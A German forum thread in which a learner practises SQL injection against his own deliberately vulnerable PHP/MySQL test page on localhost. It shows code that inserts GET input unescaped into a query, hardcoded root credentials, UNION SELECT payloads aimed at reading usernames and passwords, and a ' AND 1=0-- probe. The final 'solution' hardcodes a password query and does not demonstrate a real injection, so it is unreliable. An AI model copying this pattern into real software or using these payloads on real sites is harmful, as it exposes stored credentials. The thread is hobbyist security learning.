Sicherheit in SQL



  • sql schrieb:

    ...Ich hab deinen Code mal mit eingebaut aber es funktioniert noch immer nicht

    Interessant wäre, was genau nicht funktioniert? Fehlermeldungen?

    Ich habe das von dir genannte Tutorial nur überflogen, dort ist aber nicht beschrieben wie die Datenbank-/Tabellenstruktur aussieht. Wie sieht seine Tabellenstruktur aus? Hast du überhaupt schon die notwendigen Tabelle für das Beispiel angelegt?



  • Hier sind mal ein paar Screenshots von meiner Datenbank

    Datenbank und Tabellen:

    http://img-up.net/?up=1BMTm6Hb.JPG

    http://img-up.net/?up=2BqJOkN3.JPG

    Fehlermeldung:

    http://img-up.net/?up=errcLFVS.JPG

    index.php

    <form action="seite1.php" method="GET" 
    
    <body> 
    
    Eingabe:<br> 
    <input type="test" name = "test"> 
    <br><br> 
    
    <br> 
    <input type="Submit" value="Absenden"> 
    <br><br> 
    
    </body> 
    </form>
    

    seite1.php

    <?php 
    
    $verbindung = mysql_connect ("localhost", 
    "root", "12345678") 
    
    or die ("keine Verbindung möglich. 
     Benutzername oder Passwort sind falsch"); 
    
    mysql_select_db("homepage") 
    or die ("Die Datenbank existiert nicht."); 
    
    $test = $_GET['test']; 
    $UserID = 2; 
    
    $query = "SELECT artikel_text , artikel_titel 
    
            FROM links 
    
                WHERE artikel_id = $test"; 
    
    $result = mysql_query($query); 
    
    $row = mysql_fetch_array($result); 
    
    echo('Text: '.$row['artikel_text'].' Title:'.$row['artikel_titel']); 
    
    //UNION SELECT user_password, user_username FROM user WHERE user_id = 1/*
    
    mysql_close($verbindung);        
    
    ?>
    


  • Hier eine genauere Fehlermeldung:

    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\seite1.php on line 34
    Text: Title:Unknown column 'g' in 'where clause'



  • Ach sry das war das falsche

    also wenn ich eingebe:

    http://localhost/seite1.php?test=1 UNION SELECT user_password, user_username FROM user WHERE user_id = 1/*

    dann kommt:

    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\seite1.php on line 34
    Text: Title:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/*' at line 7

    Aber was ist an der Syntax falsch ??



  • Lass Dir doch mal Dein Query ausgeben, bevor Du es in die DB jagst, dann siehst Du sofort, woran es liegt.



  • Das ist da meine Ausgabe dann:

    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\seite1.php on line 34
    Text: Title:

    Query ausgeben: SELECT artikel_text , artikel_titel FROM links WHERE artikel_id = 1 UNION SELECT user_password, user_username FROM user WHERE user_id = 1/*

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '/*' at line 7



  • sql schrieb:

    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\seite1.php on line 34

    Ist schon mal ein Zeichen, daß das script höchstwahrscheinlich vuln ist.

    Und den server-pfad hast du damit auch schon.

    Jetzt musst du nur noch ein bisschen mehr über sql-injection lesen und dann damit rumspielen.

    z.B.

    test=' AND 1=0--
    

    oder ähnliches...



  • ok solangsam komm ich dahinter glaub ich.
    Ich hab eben einfach mal anstatt:

    das

    $query = "SELECT artikel_text , artikel_titel 
    
            FROM links 
    
                WHERE artikel_id =$test";
    

    das hier dort reingeschrieben

    $query = "$test";
    

    Und wenn ich dann in das eingabe feld eingeben habe:

    SELECT artikel_text , artikel_titel

    FROM links

    WHERE artikel_id =1

    dann wurde es auch alles angezeigt.

    Mein Problem ist ich weiss halt nich wie ich mehrere Befehle hintereinander ausführen kann.

    Ich hab schon ein paar Sachen probiert wie z.b.:

    http://localhost/seite1.php?test=1 and UNION SELECT user_password, user_username FROM user WHERE user_id = 1/*

    Aber das klappt ja nicht.

    Hat wer eine Ahnung wie das funktioniert?



  • Wie bereits erwaehnt, solltest du allgemein erstmal sicher im Umgang mit Queries sein, bevor du dir Sorgen um Injections machst. 🙄



  • Ich habs endlich geschafft ....

    Ich schreib hier einfach mal rein was ich da so eingeben habe vielleicht kann das ja irgendwem nochmal hilfreich sein.

    seite1.php

    <?php 
    
    $verbindung = mysql_connect ("localhost", 
    "root", "12345678") 
    
    or die ("keine Verbindung möglich. 
     Benutzername oder Passwort sind falsch"); 
    
    mysql_select_db("homepage") 
    or die ("Die Datenbank existiert nicht."); 
    
    $test = $_GET['test']; 
    
    $query = "SELECT artikel_text , artikel_titel 
    
            FROM links 
    
                WHERE artikel_id = $test"; 
    
    $result = mysql_query($query); 
    
    $row = mysql_fetch_array($result); 
    
    echo('Text: '.$row['artikel_text'] );
    
    echo "<br><br>";
    
    echo ('Title:'.$row['artikel_title']);
    
    			if ($test ==1)
    			{
    			echo "<br><br>";
    
    							$query = "SELECT user_username , user_password 
    
    								FROM user 
    								WHERE user_id = 1"; 
    
    							$ergebnis = mysql_query($query);
    
    							while($row = mysql_fetch_object($ergebnis))
    							{	
    								echo "Username: $row->user_username <br>"; 
    								echo "Passwort: $row->user_password <br>";
    
    							}
    
    			}
    
    			else
    			{
    				 echo "falsch eingabe";
    			}
    
    echo "<br><br>";
    echo "query: ",$query;
    echo "<br><br>";
    
    echo  mysql_error();
    
     // UNION SELECT user_password, user_username FROM user WHERE user_id = 1
    
    // UNION SELECT user_username, user_password FROM user WHERE user_id = 1
    
    mysql_close($verbindung);         
    
    ?>
    

    Index.php

    <form action="seite1.php" method="GET" 
    
    <body> 
    
    Eingabe:<br> 
    <input type="text" name = "test"> 
    <br><br> 
    
    <br> 
    <input type="Submit" value="Absenden"> 
    <br><br> 
    
    </body> 
    </form>
    

    Injections:

    Den user_username auslesen:

    UNION SELECT user_username, user_password FROM user WHERE user_id = 1

    Das user_passwort auslesen:

    UNION SELECT user_password, user_username FROM user WHERE user_id = 1


Anmelden zum Antworten